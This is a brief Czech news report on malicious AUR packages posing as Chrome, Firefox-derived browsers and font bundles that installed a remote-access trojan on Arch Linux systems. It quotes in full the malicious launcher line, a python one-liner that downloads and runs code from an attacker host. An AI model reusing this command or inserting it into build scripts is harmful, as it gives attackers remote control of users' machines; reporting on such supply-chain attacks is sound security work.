V repozitáři AUR (Arch User Repository), používaném v Arch Linuxu pro distribuci balíčků od třetích stran, pokračovala publikace škodlivého kódu integrovaného do balíčků s neoficiálními verzemi prohlížečů. K již před dvěma týdny odhaleným škodlivým balíčkům firefox-patch-bin, librewolf-fix-bin a zen-browser-patched-bin byl v AUR přidán balíček google-chrome-stable, který také obsahoval změnu, jež nainstalovala škodlivou komponentu poskytující vzdálený přístup k systému.
Ve souboru PKGBUILD problematického balíčku byla zjištěna instalace skriptu pro spuštění prohlížeče google-chrome-stable.sh, v němž mimo jiné byla přítomna příkaz ‘python -c «$(curl https://segs.lol/9wUb1Z)»‘, stahující škodlivý software, rozpoznaný službou VirusTotal jako trojský kůň Spark, který umožňuje vzdálené ovládání systému, spouštění procesů, přenos souborů, inspekci provozu a zasílání snímků obrazovky.
Škodlivý balíček google-chrome-stable byl nahrán předevčírem a byl odstraněn administrátory AUR během několika hodin po jeho objevení. Téměř okamžitě po odstranění google-chrome-stable byly do AUR nahrány dva škodlivé balíčky — „chrome“ a „chrome-bin“, obsahující podobný scénář instalace škodlivého softwaru do systému uživatele.
Následně bylo odhaleno dalších tří balíčků se škodlivým kódem: ttf-mac-fonts-all, ttf-ms-fonts-all a gromit.
Zdroj: opennet.ru
